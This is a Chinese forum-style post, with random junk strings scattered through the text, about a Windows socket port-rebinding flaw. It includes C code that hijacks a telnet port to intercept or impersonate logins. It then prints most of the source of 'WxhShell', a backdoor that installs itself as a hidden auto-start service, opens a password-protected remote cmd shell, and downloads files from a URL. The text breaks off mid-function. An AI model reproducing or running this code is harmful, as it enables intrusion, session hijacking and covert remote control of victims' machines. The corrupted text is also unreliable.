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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: (U{,D1? s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); m/e*P*\= FNN7[ku! saddr.sin_family = AF_INET; YujR}=B!/ o&t*[# saddr.sin_addr.s_addr = htonl(INADDR_ANY); ~|lEi1| 6%a9%Is!O bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); -Qy@-s $ ]x1;uE?1J 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 `<3%`4z/ 4-CGe 这意味着什么?意味着可以进行如下的攻击: ~GLWhe-
LULRi#n 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 (+CNs .9u0WP95 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 2M+}o"g Bq5-L}z 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 /n2qW.qJ> n2(`O^yd7C 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 l\/uXP? j%U'mGx 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 ynZp|'b?< XtZeT~/7RT 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 ]+k]Gbty6 Yu}[RXC(= 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 +=`*`eP:U hS 9^Bi #include %{|67h #include zH13~\ #include BvLC% #include ^, &' DWORD WINAPI ClientThread(LPVOID lpParam); ,/YTW@N int main() ~eZ]LW]) { s$JO3-) WORD wVersionRequested; {/|tVc63 DWORD ret; >1qum' WSADATA wsaData; 8DuD1hZq BOOL val; !C;$5(k SOCKADDR_IN saddr; dHkI9; SOCKADDR_IN scaddr; -kP$S qR~ int err; hz+O.k],? SOCKET s; S l`F` SOCKET sc; 1)H;}%[ int caddsize; Kr'Yz! HANDLE mt; }*P?KV ( DWORD tid; tZ.hSDH wVersionRequested = MAKEWORD( 2, 2 ); =E$B0^_2RC err = WSAStartup( wVersionRequested, &wsaData ); 3s0I<cL if ( err != 0 ) { |})v,
oB printf("error!WSAStartup failed!\n"); V"|`Z}XW return -1; dC/@OV)0# } *7w,o?l saddr.sin_family = AF_INET; Qp;FVUw9 ;0 4< 9i //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 arc{:u.K =D`:2k~
, saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); eMLcmZJR saddr.sin_port = htons(23); &X6hOc:``\ if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) l`Ae&nc6 { 8Sk$o.Gy printf("error!socket failed!\n"); 0m,q3 return -1; `< 82"cAT{ } hK UK#xx val = TRUE; 0iV~MQZ( //SO_REUSEADDR选项就是可以实现端口重绑定的 Ov#G 7a" if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) >x1yFwX}-f { 7fC:'1]G printf("error!setsockopt failed!\n"); _7;D0l return -1; M2nWvU$ } ]P96-x //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; wu. >'v?y //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 k#n%at.g //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 pLe[<N I_Omv{&u if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) n#5S-z1KNw { F@b=S0}K ret=GetLastError(); n}dLfg* printf("error!bind failed!\n"); $T6+6<
return -1; )SHB1U25{ } A!v:W6yiz listen(s,2); j6E|j>@u while(1) ^x2@KMKXZ { Ki>XLX,er= caddsize = sizeof(scaddr); o;u~Yg //接受连接请求 **.g^Pyc sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); (e#f if(sc!=INVALID_SOCKET) .JBTU>1]_n { PVSz%" mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); t[ZGY,8 if(mt==NULL) }LY)FT4n { } J`cRDO printf("Thread Creat Failed!\n"); O Cnra break; \[d~O>k2 } `PT'Lakf;3 } :eH\9$F`x; CloseHandle(mt); YH&q5W,KX } -6xh closesocket(s);
8 q> WSACleanup(); 92ngSaNC return 0; BZ,{gy7g7X } r%9=75HA DWORD WINAPI ClientThread(LPVOID lpParam) Fd#Zu.Np { '?6j.ms
M SOCKET ss = (SOCKET)lpParam; ZA \;9M= SOCKET sc; r)Ja\; unsigned char buf[4096]; Y(Y#H$w SOCKADDR_IN saddr; ]QQeUxi long num; iikMz|:7U DWORD val; q7pe\~q DWORD ret; *6G@8TIh //如果是隐藏端口应用的话,可以在此处加一些判断 "|BSGV!8 //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 xkQT#K=i saddr.sin_family = AF_INET; ~sdM~9@
' saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); iZ4"@G:, saddr.sin_port = htons(23); -56gg^Pnr if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) aK8s0G!z?5 { ;u=%Vn"2a printf("error!socket failed!\n"); BDCyeC,Q3 return -1; p*U!94Pb } @SI,V8i val = 100; !R![:T\, if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Fd<eh(g9P { JL[!8NyU ret = GetLastError(); [{:
l? return -1; O"#/>hmv- } kJ?AAPC if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) k\r^GB
{ 5z:#Bl-,L ret = GetLastError(); e|q~t
{=9S return -1; ornU8H` } V{fG~19
if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) j@{ B 8 { TiR00#b printf("error!socket connect failed!\n"); 0es\
j6c closesocket(sc); j9X|c7| closesocket(ss); _j*a5fsPU return -1; tns4 e\ } i0Rj;E=:] while(1) $&&+2?cx0 { ZSr!L@S //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 ?g:sAR' //如果是嗅探内容的话,可以再此处进行内容分析和记录 W\<HUd //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 bq9/d4 num = recv(ss,buf,4096,0); -e>Z!0 if(num>0) D^}2ilk! send(sc,buf,num,0); lqmr`\@) else if(num==0) Ir=G\/A break; G E? \Vm num = recv(sc,buf,4096,0); `lrNH]B if(num>0) r]U8WM3r
send(ss,buf,num,0); F,V|In else if(num==0) z6P~HF+&h break; L#%)@ } q7I!wD9Cff closesocket(ss); n(i/jW~0w closesocket(sc); rM?
J40&. return 0 ; M@Ti$= } UY .-Qt p=\Q7<Z6d, sY1.z5"Mm ========================================================== 4_# (y^9 RRQIlI< 下边附上一个代码,,WXhSHELL nTD4^' 57q?:M=^ ========================================================== Rd<K.7&A} >s )L(DHa" #include "stdafx.h" qC5IV}9` yF1p^>*ak& #include <stdio.h> lBa` nG #include <string.h> 'rq@9$h1W #include <windows.h> ~z,qr09 #include <winsock2.h> q,> C^p|2b #include <winsvc.h> .Hk.'>YR #include <urlmon.h> h
lSav?V_ @(0O9L
F #pragma comment (lib, "Ws2_32.lib") 4dm0:,
G #pragma comment (lib, "urlmon.lib") xu{VU^'Y fWb+08}C #define MAX_USER 100 // 最大客户端连接数 ^Pah\p4bj #define BUF_SOCK 200 // sock buffer +~= j3U #define KEY_BUFF 255 // 输入 buffer Y/?z8g'p LXZI|K[}k #define REBOOT 0 // 重启 3`)ej` #define SHUTDOWN 1 // 关机 G&t|aY- X\>/'fC$ #define DEF_PORT 5000 // 监听端口 qz.l 9Q*:II #define REG_LEN 16 // 注册表键长度 g1:%986jv #define SVC_LEN 80 // NT服务名长度 bR;.KC3C 4?bvJJuf) // 从dll定义API =pTTXo typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ,gM:s}l!dJ typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); YQWq*o^: typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); _xy[\X;9 typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); "rfBYl` +1@'2w{ // wxhshell配置信息 ;.b^&h struct WSCFG { &aa3BgxyE int ws_port; // 监听端口 {;6a_L@q;| char ws_passstr[REG_LEN]; // 口令 3_.%NgES| int ws_autoins; // 安装标记, 1=yes 0=no LOr( HgyC char ws_regname[REG_LEN]; // 注册表键名 BR_fOIDc char ws_svcname[REG_LEN]; // 服务名 TQPrOs? char ws_svcdisp[SVC_LEN]; // 服务显示名 fn.;C char ws_svcdesc[SVC_LEN]; // 服务描述信息 ~N7;.
3 7 char ws_passmsg[SVC_LEN]; // 密码输入提示信息 gVy`||z int ws_downexe; // 下载执行标记, 1=yes 0=no 4#:C t* f char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" SBdd_Fn char ws_filenam[SVC_LEN]; // 下载后保存的文件名 owI:Qs_/4 Wyow MFp }; 7#Uzz"^ w9mAeGyE // default Wxhshell configuration I$4>_D struct WSCFG wscfg={DEF_PORT, 'Sesh'2
/ "xuhuanlingzhe", /a9CqK 1, _%23L| "Wxhshell", Mz86bb^J "Wxhshell", VvT7v] "WxhShell Service", F,Ve, 7kh "Wrsky Windows CmdShell Service", _Vf>>tuW "Please Input Your Password: ", #?,"/Btq 1, 8EX?/33$ " http://www.wrsky.com/wxhshell.exe", 3g5r}Ug "Wxhshell.exe" l;&kX6 w }; Do5. |.$7.8g // 消息定义模块 TP~1-(M)} char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; xE$lx:C"FU char *msg_ws_prompt="\n\r? for help\n\r#>"; K-K>'T9F} char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; fVVD}GM= char *msg_ws_ext="\n\rExit."; P,xJVo\ char *msg_ws_end="\n\rQuit."; =BJe}AV char *msg_ws_boot="\n\rReboot..."; bTZ.y.sI char *msg_ws_poff="\n\rShutdown..."; atmW? Z char *msg_ws_down="\n\rSave to "; <M}O&?N
8x g/\cN(X char *msg_ws_err="\n\rErr!"; !H<%X~|, char *msg_ws_ok="\n\rOK!"; q*C-DiV SLUQFoz} char ExeFile[MAX_PATH]; BjA$^ i|8 int nUser = 0; SXN]${ HANDLE handles[MAX_USER]; ledr[) int OsIsNt; |`s:&<W+kp N R4\TU SERVICE_STATUS serviceStatus; Aon.Y Z SERVICE_STATUS_HANDLE hServiceStatusHandle; CS5[E-%}T= -WR<tkK // 函数声明 2;J\Z=7 int Install(void); 6V}xgfB int Uninstall(void); ^".6~{ int DownloadFile(char *sURL, SOCKET wsh); N9y+Psh int Boot(int flag); W-Vc6cq void HideProc(void); K5t.OAA: int GetOsVer(void); E7_OI7C int Wxhshell(SOCKET wsl); '#eT void TalkWithClient(void *cs); {E7STLQ_% int CmdShell(SOCKET sock); H
SGz- int StartFromService(void); ,A)Z.OWOq int StartWxhshell(LPSTR lpCmdLine); ET 0(/Zz -YmIRocx VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); jzZ]+'t VOID WINAPI NTServiceHandler( DWORD fdwControl ); DL,]iJm TIR Is1 // 数据结构和表定义 m~fDDQs SERVICE_TABLE_ENTRY DispatchTable[] = pn){v { mEkYT {wscfg.ws_svcname, NTServiceMain}, {MTtj4$ {NULL, NULL} &-X51O C }; 8V9OMOt! [Fv,`*/sm // 自我安装 8.7q
-<Q int Install(void) +P,ic*Kq* { 4x3 _8/= char svExeFile[MAX_PATH]; *[BtW56- HKEY key; P=\Hi.]% strcpy(svExeFile,ExeFile); v-^tj}jA |.&GmP // 如果是win9x系统,修改注册表设为自启动 53pT{2]zAi if(!OsIsNt) { s.n:;8RibP if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { x;-D}# RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Uj3HAu RegCloseKey(key); !c-MC| if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { j]]5&u/l RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); n2Mpo\2 RegCloseKey(key); pG"hZB3) return 0; 7Cbr'!E\_V } J#t8xL } $b2~H+u( } T!HAE#xC else { :nc%:z=O "r3h+(5 // 如果是NT以上系统,安装为系统服务 3bjCa\ " SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); v\qyDZ VV if (schSCManager!=0) fwMYEj { Ro<x#Uo SC_HANDLE schService = CreateService qPWf=s7! ( :}/\hz
, schSCManager, rc~)%M<[2 wscfg.ws_svcname, G"kX#k0S wscfg.ws_svcdisp, Q~k|lTf SERVICE_ALL_ACCESS, |W@Ko%om SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , {?EmO+![} SERVICE_AUTO_START, 8bO+[" c SERVICE_ERROR_NORMAL, m}zXy\ svExeFile, 0uPcEpIA NULL, +7nvy^m NULL, Y9vVi]4 NULL, *yo'Nqu NULL, -yg;,nCg NULL Q)qJ6-R|HD ); nn$^iw` if (schService!=0) #o9CC)q5G { >i.$s CloseServiceHandle(schService); jO|`aUYTf CloseServiceHandle(schSCManager); `T ^0&# strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 7!FiPH~kM strcat(svExeFile,wscfg.ws_svcname); TBba3% if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 5 wN)N~JE RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); PYY< RegCloseKey(key); @ PhAg return 0; -U?%A:,a| } Br&&# } aG4 ^xOD CloseServiceHandle(schSCManager); \Cin%S.C } jUR*
| } 6c/0OM# Cw kQhj? return 1; f~TkU\Rh } 2Ur&_c6P /h`gQyGuY // 自我卸载 ]n<Ba7Y int Uninstall(void) E?|NYu#I6 { X%fLV( HKEY key; "&^KnWk= u|u)8;'9( if(!OsIsNt) { _v,Wl/YAp if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { T
g3MPa#g RegDeleteValue(key,wscfg.ws_regname); $AMcU5^b7 RegCloseKey(key); Gv
} if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { },Grg~l RegDeleteValue(key,wscfg.ws_regname); PU B0H RegCloseKey(key); )J+rt^4| return 0; nU\.`.39
+ } T2)CiR-b } 8oRq3 " } ui|6ih$+ else { T?=]&9Y' 9Av{>W? SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); b E40^e if (schSCManager!=0) bJR\d0Z { GkU$Z @ SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 7v0VZ(UR if (schService!=0) o_kZ { |Zp')
JiS if(DeleteService(schService)!=0) { ;pfN CloseServiceHandle(schService); FYefn3b CloseServiceHandle(schSCManager); Sz')1< return 0; p:{L fQ } o54=^@>O<j CloseServiceHandle(schService); xcQ^y}JN } D(dV{^} 9 CloseServiceHandle(schSCManager); oY,{9H37b } >qO l1]uF } f><V;D# v@s"*E/PF7 return 1; Jcs
/i } (dO0`wfM [)I
W9E
v // 从指定url下载文件 FB>P39u int DownloadFile(char *sURL, SOCKET wsh) d.B<1"MQ { '}(Fj2P79 HRESULT hr; UCFFF% char seps[]= "/"; oblw!) char *token; n:s _2h(u char *file; vMn$lT@ char myURL[MAX_PATH]; SNSoV3|k- char myFILE[MAX_PATH]; 00y(E@~ `w@z
Fc!" strcpy(myURL,sURL); 5bI4'
; token=strtok(myURL,seps); 4 EA$<n(A- while(token!=NULL) 7*Zm{r@u { `Jj b4] file=token; v{*2F token=strtok(NULL,seps); |Dq?<Ha } Ju;^^ d& v 7l GetCurrentDirectory(MAX_PATH,myFILE); J<Ki;_=I strcat(myFILE, "\\"); O(.eHZ= strcat(myFILE, file); h2:TbQ send(wsh,myFILE,strlen(myFILE),0); Bqk+ne send(wsh,"...",3,0); np}0OX hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ?hIDyM if(hr==S_OK) s`.J!^u` return 0; <dBz]W else vQ$"|8, return 1; <&)zT#" Pmr'W\aIR } '9<8<d7? r4K%dx-t // 系统电源模块 ATmyoN2@> int Boot(int flag) ,5 3`t { j0Os]a HANDLE hToken; ]lE5^<<
TOKEN_PRIVILEGES tkp; aSHN*tP%y uz=9L<$ if(OsIsNt) { \lDh" OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 6ZjY-)h LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); I,&
gKgh tkp.PrivilegeCount = 1; Jiru~Vo+ tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; HFz;"s3lWM AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); BI!E mA if(flag==REBOOT) { Fy.!amXu if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) N"~P$B1X return 0; r(n>N0:0Ls } v6=X]Ji{YA else { k>!i
_lb
if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) pB%oFWqK return 0; ^HI2Vp } 20J-VN: } e-lc2$o7{ else { !I91kJt7 if(flag==REBOOT) { 0YoV`D,U if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) |^F$Ta return 0; j*1MnP3/8Y } ^ ~Tn[w W_ else { ;vpq0t` if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) n 4H'FZ return 0; 9]/:B8k } s,Fts3+ } $V/Ke L}g#h+GP[ return 1; wW<u)|>ye } uX1{K%^<TW ,eqRI>,\ // win9x进程隐藏模块 @XcrHnH9 void HideProc(void) Ggv*EsN/cC { %Z*)<[cIE0 KXWz(L!1 HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); v`6vc)>8 if ( hKernel != NULL ) !l6ht{ { Ru);wzky pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); @bnw$U`+ ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); &{q'$oF FreeLibrary(hKernel); }XCh>LvX } 8#1o cnG>EG return; Sm|TDH } Upg8t'%{op n+vv
% // 获取操作系统版本 5fmQ+2AC1 int GetOsVer(void) ?PV@WrU>B { $8[JL\ OSVERSIONINFO winfo; "`a,/h' winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); )$*B GetVersionEx(&winfo); vP%:\u:{ if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) E?Qg'|+_ return 1; iI*qx+>f? else fM*aZc*Y return 0; 'I2[}>mj2 } ``rYzj_ h 3 J& // 客户端句柄模块 Q,ZV C int Wxhshell(SOCKET wsl) B.gEV*@ { CT<z1)#@^ SOCKET wsh; "
#U-*Z7 struct sockaddr_in client; cBCC/n DWORD myID; %8P6l D byZj7q5&Q while(nUser<MAX_USER) X|R"8cJ { m YhDi int nSize=sizeof(client); ]RF(0; wsh=accept(wsl,(struct sockaddr *)&client,&nSize); )}i2x:\|_ if(wsh==INVALID_SOCKET) return 1; =">0\# lr
-+|>M) handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); =65XT^ if(handles[nUser]==0) WaE%g closesocket(wsh); `bd9N!K else i+I1h= nUser++; MOuEsm; } VQ+G. WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); b,(<74!#8 v~YGef;D return 0; .9<euPrz } dzV2; dw| VH1fS // 关闭 socket 98UI]? 4 void CloseIt(SOCKET wsh) +NOq>kH@ { UyDq`@h closesocket(wsh); }5B\:*yW nUser--; koj*3@\p/ ExitThread(0); gf/<sH2} } o$}$Z&LK zIU6bMMT3u // 客户端请求句柄 A
"'h0D void TalkWithClient(void *cs) bGlr>@;-r { (!Fu5m=<8 m\|EM'@k SOCKET wsh=(SOCKET)cs; aQj6XGu char pwd[SVC_LEN]; H*",'`|- char cmd[KEY_BUFF]; l
o-
42) char chr[1]; j& L@L.d int i,j; ~O3VX75f w@,v$4Oi while (nUser < MAX_USER) { mZjP;6 b$`/f:_ if(wscfg.ws_passstr) { RgzzbW if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); e
:@PI(P! //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); YH{n //ZeroMemory(pwd,KEY_BUFF); ?rdWhF] i=0; G
P '- while(i<SVC_LEN) { m;>:mwU RiIafiaD // 设置超时 D\pX@Sx,v[ fd_set FdRead; V7
hO} struct timeval TimeOut; t
^1uj:vD FD_ZERO(&FdRead); Pup%lO`.0 FD_SET(wsh,&FdRead); =n8M' TimeOut.tv_sec=8; 6ywOL'OBM TimeOut.tv_usec=0; >.hDt9@4 int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
M{YN^
Kk if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); (/!zHq !d95gq<=> if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); @q{.shqo pwd =chr[0]; nu[["f~ if(chr[0]==0xd || chr[0]==0xa) { g5*?2D}dqX pwd=0; /?}2OCq break; aTBFF } i\o * =+{r i++; ZRFHs>0 } 1_M}Dc+J [4;G^{
bX // 如果是非法用户,关闭 socket 6DC+8I< if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); !3z
;u8W } 1buO&q!vn YuoIhT send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); `9acR>00$ send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); -NA2+]. O5*3
qJp while(1) { $A T kCO ?5j~" ZeroMemory(cmd,KEY_BUFF); $1k@O@F(4 <%=<9~e // 自动支持客户端 telnet标准 D@c@Dt j=0; fC$@m_-KD while(j<KEY_BUFF) { cPg{k}9Tvy if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); y
QGd<( cmd[j]=chr[0]; 5>~D3?IAd if(chr[0]==0xa || chr[0]==0xd) { hOuHTo^ cmd[j]=0; 9A9T'g)Du break; &/g^J\ 0M) } Ss\FSEN!/ j++; bP4}a!t+n } 4"\%/kG y-"QY[ // 下载文件 D4~]:@v~n if(strstr(cmd,"http://")) { nL[G@1nR send(wsh,msg_ws_down,strlen(msg_ws_down),0); S[N9/2 if(DownloadFile(cmd,wsh)) ff00s+ send(wsh,msg_ws_err,strlen(msg_ws_err),0); +R;s<pZ^ else _SU6Bd/> send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); BteeQ&A|~ } uhB
V)Qg else { X<g
}F[Y `X<a(5[vV3 switch(cmd[0]) { M6].V *k'2 ieXi6^M$ // 帮助 8uA!Vrp3 case '?': { Jw{duM;] send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); %pf9Yd0t break; Af`Tr6) } gq="& // 安装 W mx3@]< case 'i': { +M<W8KF if(Install()) 'c3'eJ0 send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6-+wfrN2 else D/hq~- g send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); m!]J{OGG: break; q)J5tBfJ } DZ9^>`* // 卸载 x1Z*R+|>2 case 'r': { amWKykVS5 if(Uninstall()) tjx|;m7 send(wsh,msg_ws_err,strlen(msg_ws_err),0); ZEvK else )g KC}_h= send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); g2A#BMe'.$ break; >B;KpO"+m } ]kF1~kXBe // 显示 wxhshell 所在路径 S27s Rxfr case 'p': { QXgfjo char svExeFile[MAX_PATH]; ,RP 9v* strcpy(svExeFile,"\n\r"); {@k
, e strcat(svExeFile,ExeFile); > }kZXeR| send(wsh,svExeFile,strlen(svExeFile),0); [8K :ml break; .bj:tmz } ;WhRDmT // 重启 M4% 3a j case 'b': { (^E5y,H<g send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); G#A6<e/ if(Boot(REBOOT)) 3{wuifS send(wsh,msg_ws_err,strlen(msg_ws_err),0); MZ~N}y else { w(K|0|t closesocket(wsh); SwM=?< ExitThread(0); XWq"_$&LF } d1'= \PYr break; 5hTScnL% } `7[!bCl // 关机 $9:
@M. case 'd': { O2"V'( send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ln8es{q if(Boot(SHUTDOWN)) ;<"V},
C send(wsh,msg_ws_err,strlen(msg_ws_err),0); KL$> j/qT else { W>:MK-_J closesocket(wsh); NQqNBI?cr ExitThread(0); `,4@;j<^@ } ef/43+F^x break; >Psq" Xj } a2/Mf
// 获取shell !YZKa- case 's': { Z'Pe%}3 CmdShell(wsh); #rNc+ closesocket(wsh); qVH.I6) ExitThread(0); (]PH2<3t break; ;'
H\s } [JV?Mdzu // 退出 4t3>`x
7 case 'x': { s!>9od6^ send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); W=OryEV? CloseIt(wsh); +;M 5Sp break; < RtyW } m9+?>/R // 离开 sf:IA%.4t case 'q': { emB<{kOkw send(wsh,msg_ws_end,strlen(msg_ws_end),0); o2q-x2uB closesocket(wsh); T8Q_JQ WSACleanup(); Hi*|f!,H? exit(1); B]Ec break; Wh~,?}laj } oJ`=ob4WDo } ]'w5s dP } V`HnFAW uZ'Z-!=CL // 提示信息 5(E&jKn& if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 4jZB%tH } 4^ U%` 1 } F^S]7{ $Sa7N%D return; 4=;j.=>0X } (U
4n} J 1LAd5X // shell模块句柄 "fUNrhCx int CmdShell(SOCKET sock) xq=!1> { .yFO]
r1aL STARTUPINFO si; KWAd~8,mk ZeroMemory(&si,sizeof(si)); oe0YxSauL si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Z:es7<#y si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; XXA]ukj;r PROCESS_INFORMATION ProcessInfo; o=K9\ l char cmdline[]="cmd"; ,np|KoG|M CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 5FF28C)>/ return 0; V>GJO (9 } w{So(AF Q1rEUbvCE // 自身启动模式 NL;sn" int StartFromService(void) *c&OAL] { LZ.Xcy typedef struct aw~h03R_Z { p<}y'7( DWORD ExitStatus; ,v#n\LD` DWORD PebBaseAddress; dUl"w`3 DWORD AffinityMask; kqxq'Aq)d DWORD BasePriority; pl)?4[`LUc ULONG UniqueProcessId; AO|1m$xf ULONG InheritedFromUniqueProcessId; ^u1Nbo } PROCESS_BASIC_INFORMATION; U^% )BI c~;VvYu PROCNTQSIP NtQueryInformationProcess; X.[bgvm~C cMnN} ' static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; _ qwf3Q@ static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; *N:0L,8 *+2_!=4V HANDLE hProcess; @!O(%0
= PROCESS_BASIC_INFORMATION pbi; |@yYM-;6
;Q4,I[?% HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); aDxNAfP
